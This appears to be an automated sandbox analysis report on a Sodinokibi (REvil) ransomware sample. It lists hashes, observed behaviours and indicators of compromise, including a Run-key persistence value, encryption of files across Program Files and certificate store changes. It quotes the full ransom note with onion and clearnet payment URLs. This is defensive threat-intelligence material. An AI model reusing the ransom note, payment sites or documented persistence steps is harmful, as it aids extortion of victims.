sodinokibi | 64f3d2db7a782fef79f46763d4ee2f83de2d656ba5813e3b3d873c17dae3ca2e

Analysis

max time kernel
128s
max time network
141s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02-06-2024 08:44

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General

Target

8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
Size

166KB
MD5

8d7eaf2d466b138f7d3a12d17a1e3126
SHA1

f75aee8361cfff77fdd045c32769e385d3e8f5df
SHA256

64f3d2db7a782fef79f46763d4ee2f83de2d656ba5813e3b3d873c17dae3ca2e
SHA512

eb28b302f0a858e636aca5a37897102af085cda436f15ead69761edcaa9275d6372ce1cf1164a45bebaeb68b8022202e0290d8cd0ef1b195f518fada6d2ce18b
SSDEEP

3072:EJMawtnGqtWoKeZC62aoNUSnc6udZxnXa1:+w9vteQJYUocFdZF

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Users\u82yk1-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion u82yk1. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2502FDC5F027FAF1 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/2502FDC5F027FAF1 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 7j8E10IhTiC6moPO4nOMZGeeKIfWyDO0lfiL756QqZy4PxfU5odWTYgIUxGeVQVN BC5rqeHkAkHk7k4whcyeBLJ/LsM95t10NABv/iOEeN8/mhFZN7IfeyjB/UB2FRW6 Q0XZojlBThZju7VSNQGoMx9GnbMKx++P2OjiuM5FbnmtnQoSexQG5Ir4whwMEv/v oAeuWxcjLA7dJOE/qTvAmMLQlbuLoSnwxR32g4aMAciT6CHS7VJ0oomVq6n6nyt5 zIBt1Lw2cge1KtIi3bdEfhnwtubEYLl4BQgmDI2dHsTZL/k2jNS9zXMXOzI9gzhg MlJFVhZJoFk+uQCOgIfQOM1aMspBblQiQeiLw53EdZc7oSpodeJkQJZlVN1dFi7H A03NbldOFDYN63JbVESvqkYNN6YDWA7d9xFzB4VV2CP0jcYG8EtTYo0TZ2e3UszG OHYjFn3eswWzzsJacw52mmSdvLJpWXQyZwK8moty0JKQL0aIQ5neuKRWE1GvwtkG 0ysegIsZnRMNdlIGwJN2opPK014t3yZgsSyA3ZDIK4V1Gap3tRD4n9YvaWQdokvL u3eJmZLxw39xUZ8qGWtileREGJIFIZOtYj1I0Eo6kytvtu+ZM7qHvw+TEQ8WJslW YfJiax9HKcihvbi7xCw4GenyM+J3Rfwwm/GEvz0mYUXO6i4oGIw7Kfnl35eedWgc 8873SLCIZOzIX1UvAYzrtL3Apdy9iSzDqELdtMCIjN23vPV0DXX6Dhmux/5pOOpz jnR6GcSJzlRTmlAyMD3g+0eIGS8qE//pFEs7VKMT1kh5unA8/uxgqcGqxx2S3HGm LmiAYDK0YJEyduMiyx4/LeTFBshdzLL7SnaReGiJ1YY0AUi0ClCZ4seqjmODPrac ENdS2AhSawkU4t/xeABP4g3gL3nSFcQT2aADz6HJyptEldOkECPwVRjKZAhFVSID 89iRI1DjiwRwymWeD0XAjJLjynugguSSSztJpAX41gYs8GoWoDkz60i3GJ1KSFtn DZ0gidj0vYvvAKlD8VKjvPotMam+Y4QJxuX7WYvUw8nXlA04RGmWVydmTDHXd/YJ Yw5G+QyYHyZj05u0DONlSyEUBuAXasgCzNtWqhLleks2XlhVMWMnZlgDgfbjRIeA IPk5xqTXad2cpcrnEuR/W+f52p/gmbU/o1icjQCLphL/mHq9h9NYm7SAzCl1oB3R pNWgVaadgwTK1/kNVkjqub/AaRC6+U2vkKizVb/J2RTP0Bx6rRkIpKEIGRB6EHig UvrTjhXULDXx3CNKVZr8RTFBHK8dP5jL/loOUKPRoltsKMPUNzXclbXtcsj6FjJb VCFptvV8SDtkc1FlzGl2U0cfpR1Cdg9zb7h99NRD Extension name: u82yk1 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2502FDC5F027FAF1

http://decryptor.cc/2502FDC5F027FAF1

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\oXnEn2JlQT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe"	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe

Drops desktop.ini file(s) 28 IoCs

description	ioc	Process
File opened for modification	\??\c:\users\admin\downloads\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\libraries\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\pictures\sample pictures\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\recorded tv\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\favorites\links for united states\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\documents\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\searches\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\desktop\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\pictures\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\music\sample music\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\videos\sample videos\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\favorites\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\music\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files (x86)\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\pictures\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\downloads\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\videos\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\music\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\videos\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\recorded tv\sample media\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\public\documents\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\favorites\links\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\contacts\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\desktop\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\links\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\users\admin\saved games\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\Z:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\I:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\N:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\Y:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\G:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\J:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\V:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\R:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\E:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\H:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\L:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\M:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\P:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\U:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\K:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\S:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\X:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\B:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\Q:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\D:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\F:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\A:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\O:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened (read-only)	\??\W:	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\v293.bmp"	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe

Drops file in Program Files directory 39 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\GetConvertTo.3g2	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MeasureRegister.lock	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SuspendUnlock.svg	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlceme35.dll	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlcese35.dll	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File created	\??\c:\program files\u82yk1-readme.txt	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\AddApprove.potm	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConfirmJoin.docx	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GrantWrite.gif	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\JoinUnblock.mpeg	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\InvokeUnregister.pptx	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlceca35.dll	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File created	\??\c:\program files (x86)\u82yk1-readme.txt	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DisconnectReceive.ADT	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SuspendConnect.dot	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files (x86)\desktop.ini	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlceqp35.dll	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CloseUnblock.mpv2	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\NewDeny.ppsm	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\PopSubmit.dwfx	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WriteRestore.tiff	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlceer35EN.dll	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GetDisable.sql	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\InitializeBlock.csv	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LockStart.gif	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertMount.mpg	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertToProtect.ppt	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\JoinComplete.i64	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MergeConfirm.mhtml	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UndoDeny.rtf	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\u82yk1-readme.txt	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResumeGet.m4v	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RevokePop.xls	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WriteHide.ocx	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\u82yk1-readme.txt	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\u82yk1-readme.txt	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlcecompact35.dll	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
File opened for modification	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\sqlceoledb35.dll	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\SystemCertificates\CA\Certificates\151682F5218C0A511C28F4060A73B9CA78CE9A53	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\SystemCertificates\CA\Certificates\151682F5218C0A511C28F4060A73B9CA78CE9A53\Blob = 030000000100000014000000151682f5218c0a511c28f4060a73b9ca78ce9a531400000001000000140000007c4296aede4b483bfa92f89e8ccf6d8ba972379504000000010000001000000029f1c1b26d92e893b6e6852ab708cce10f00000001000000200000005aef843ffcf2ec7055f504a162f229f8391c370ff3a6163d2db3f3d604d622be19000000010000001000000070d4f0bec2078234214bd651643b02401800000001000000100000002fe1f70bb05d7c92335bc5e05b984da62000000001000000640400003082046030820248a0030201020210079e492886376fd40848c23fc631e463300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3230303930343030303030305a170d3235303931353136303030305a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f742058323076301006072a8648ce3d020106052b8104002203620004cd9bd59f80830aec094af3164a3e5ccf77acde67050d1d07b6dc16fb5a8b14dbe27160c4ba459511898eea06dff72a161ca4b9c5c532e003e01e8218388bd745d80a6a6ee60077fb02517d22d80a6e9a5b77dff0fa41ec39dc75ca68070c1feaa381e53081e2300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604147c4296aede4b483bfa92f89e8ccf6d8ba9723795301f0603551d2304183016801479b459e67bb6e5e40173800888c81a58f6e99b6e303206082b0601050507010104263024302206082b060105050730028616687474703a2f2f78312e692e6c656e63722e6f72672f30270603551d1f0420301e301ca01aa0188616687474703a2f2f78312e632e6c656e63722e6f72672f30220603551d20041b30193008060667810c010201300d060b2b0601040182df13010101300d06092a864886f70d01010b050003820201001b7f252b907a0876007718e1c32e8a364c417ebf174be330d75b0c7e9c96986f7bb068c02444cce2f2fcd1eadbd29f01f9174d0c9d55fda5ad6dd22f3f4b72c02eae73c7251657c23e15ade031d10a84846c6278423122461aed7a40bf9716814477ca6c7b5d215c07f2119121bfe12fc2ef6efd0520e4b4f779f32dbb372af0c6b1acac51f51fb35a1e66ce580718387f71a93c83bad7bc829e9a760f9eb029fdcbf38907481bfeab932e14210d5faf8eb754ab5d0ed45b4c71d092ea3da3369b7c1fe03b55b9d85353cc8366bb4adc810600188bf4b3d748b11341b9c4b69ecf2c778e42200b807e9fc5ab48dbbc6f048d6c4629020d708a1df11273b64624429e2a1718e3acc798c272cc6d2d766ddd2c2b2696a5cf21081be5da2fcbef9f7393aef8365f478f9728ceabe29826988bfdee28322229ed4c9509c420fa07e1862c44f68147c0e46232ed1dd83c488896c35e91b6af7b59a4eee3869cc78858ca282a66559b8580b91dd8402bc91c133ca9ebde99c21640f6f5a4ae2a256c52bac7044cb432bbfc385ca00c617b57ec774e50cfaf06a20f378ce10ed2d32f1abd9c713ecce1f8d1a8a3bd04f619c0f986aff50e1aaa956befca47714b631c4d96db55230a9d0f8175a0e640f56446036ecefa6a7d06eca4340674da53d8b9b8c6237da9f82a2da482a62e2d11cae6cd31587985e6721ca79fd34cd066d0a7bb	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2388	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
1672	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2388	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeBackupPrivilege	2844	vssvc.exe
Token: SeRestorePrivilege	2844	vssvc.exe
Token: SeAuditPrivilege	2844	vssvc.exe
Token: SeTakeOwnershipPrivilege	2388	8d7eaf2d466b138f7d3a12d17a1e3126_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
